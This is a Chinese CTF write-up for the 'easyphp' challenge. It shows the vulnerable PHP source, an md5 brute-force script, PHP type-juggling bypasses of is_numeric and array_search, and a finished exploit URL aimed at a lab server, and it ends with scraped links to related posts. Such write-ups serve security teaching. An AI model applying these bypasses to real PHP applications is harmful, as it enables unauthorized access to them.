[攻防世界][江苏工匠杯]easyphp
打开靶机url,上来就代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
easyphp 不easy
从代码上看 必须 key1和key2都为true 或者都为 1 才能回显 flag
- 先看key1 = 1 的条件
1. 首先需要字符串a转为整型后 > 6000000,且a字符串的长度要小于等于3
通过科学计数法绕过 a = 1e9 (1e9 = 1000000000)
2. 要求b 的md5值后六位为 8b184b
只能通过撞库得到,编写撞库脚本
<?php
for ($i = 1; $i < 100000; $i++) {
if('8b184b' === substr(md5($i),-6,6)){
echo($i);
}
}
?>
得到b的值为53724,这里只能是猜测b和a一样是数字字符串,否则很难撞出来,只能说是解题思路吧,撞不出来就有点无解了,或者说有md5字典库去搜索吧
这里就知道 a=1e9, b = 53724
2. 再看key2=1的条件
1.c 必须是一个json字符串,并可以json_decode转化为array
2. 这个json里有一个key是m,且m 传入is_numeric返回false,且m对应的value大于2022
从这里可以看出,必然是要考察绕过is_numeric的检查
知识点:
基础知识:
数字字符串: 如: '123456', '1e123', '123.4'
数字字符串在与数字或者前导数字字符串比较时会转化为数字进行比较
前导数字字符串 如: '1234abcd', '1e123abcd', '123.4abcd'
前导数字字符串在与数字进行比较,且是弱类型比较时才会转化为数字进行比较,两个前导字符串比较不会转化为数字
其他字符串 如: 'abcd' 'abcd1234'
对于其他字符串,在与数字进行弱类型比较时会转化为数字,但只能转化为0
is_numberic()函数绕过
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
2.1 那么绕过is_number 只要是一个前导字符串就可以了,比如:m => '2023a' (== > < 都是弱类型比较)
3. json里有一个key是 n,n是一个数组,长度为2,n的第一个元素也是数组
3.1 这里又有一个奇怪的逻辑:数组中有一个字符串是 "DGGJ", 同时下一行如果数组中有值是'DGGJ',就返回die,不给flag了
说明这里在考察字符串比较绕过
考点:此处利用array_search函数在比较两者是否相等时是使用的弱类型比较
其他字符串在与数字比较的时候会转为0,那么传入是0 的话 0==0 就会返回true
所以 n => [array(1,2), 0]
那么到这里 m,n 对应的值就都知道了,构造代码
<?php
$a = array('m' => '2023a', 'n' => array(array(1,2), 0));
var_dump($a);
echo json_encode($a);
?>
执行得到:
array(2) {
["m"]=>
string(5) "2023a"
["n"]=>
array(2) {
[0]=>
array(2) {
[0]=>
int(1)
[1]=>
int(2)
}
[1]=>
int(0)
}
}
{"m":"2023a","n":[[1,2],0]}
构造url
http://61.147.171.105:56947?a=1e9&b=53724&c={"m":"2023a","n":[[1,2],0]}
boom 得到flag cyberpeace{ce51bcd2ab60cd08a6c842b94aae1e77}
[攻防世界][江苏工匠杯]easyphp的更多相关文章
- 记录下做攻防世界的misc题
0x00 记录一下,代表自己做过 0x01 flag_universe 看简介是来自2018年的百越杯. 将文件下载下来后,就一个flag_universe.pcapng文件,wireshark打开. ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界 | CAT
来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...
- 攻防世界 robots题
来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- CTF -攻防世界-crypto新手区(5~11)
easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间 明明没算错 ...
随机推荐
- 复现禅道V16.5的SQL注入(CNVD-2022-42853)
漏洞详情 禅道V16.5未对输入的account参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行. 环境搭建 环境下载:禅道V16.5 下载后双击运行,进入目录运行start.exe 直接访问即可 ...
- 「国产系统」Tubian 0.3,兼容Windows和Android的GNU/Linux系统!
0.4版已发布:https://www.cnblogs.com/tubentubentu/p/16741197.html Sourceforge.net主页(提供下载):https://sourcef ...
- PHP全栈开发(五):PHP学习(1.基础语法)
PHP脚本在服务器上执行,然后将纯HTML的结果返回给浏览器. 听上去很厉害的样子,所以说PHP是服务器端的语言啦.HTML才是前端啦. PHP文件的默认文件扩展名是".php" ...
- POJ1734 Sightseeing trip (Floyd求最小环)
学习了一下用Floyd求最小环,思路还是比较清晰的. 1 #include<iostream> 2 #include<cstdio> 3 #include<cstring ...
- 洛谷P3810 陌上花开 (cdq)
最近才学了cdq,所以用cdq写的代码(这道题也是cdq的模板题) 这道题是个三维偏序问题,先对第一维排序,然后去掉重复的,然后cdq分治即可. 为什么要去掉重复的呢?因为相同的元素互相之间都能贡献, ...
- 使用FreeMarker配置动态模板
FreeMarker动态模板 目录 FreeMarker动态模板 前言 准备工作 FreeMarker 代码构建 项目结构 创建 Configuration 实例 调用 模板文件 调用结果 Tips ...
- RAID5 IO处理之对齐读代码详解
1 总体流程 当一个读请求的覆盖范围落在一个chunk范围内时为对齐读,流程图如下所示: 2 入口 在RAID5的IO处理函数 make_request() 一开始进行了对齐读的判断和处理,代码如下所 ...
- MPI实现并行奇偶排序
奇偶排序 odd-even-sort, using MPI 代码在 https://github.com/thkkk/odd-even-sort 使用 MPI 实现奇偶排序算法, 并且 MPI 进程 ...
- JavaScript基础&实战(3)js中的流程控制语句、条件分支语句、for循环、while循环
文章目录 1.流程控制语句 1.1 代码 1.2 测试结果 2.弹窗提示输入内容 2.1 代码 2.2 测试结果 3.条件分支语句 3.1 代码 3.2 测试结果 4.while和 do...whil ...
- AI之强化学习、无监督学习、半监督学习和对抗学习
1.强化学习 @ 目录 1.强化学习 1.1 强化学习原理 1.2 强化学习与监督学习 2.无监督学习 3.半监督学习 4.对抗学习 强化学习(英语:Reinforcement Learning,简称 ...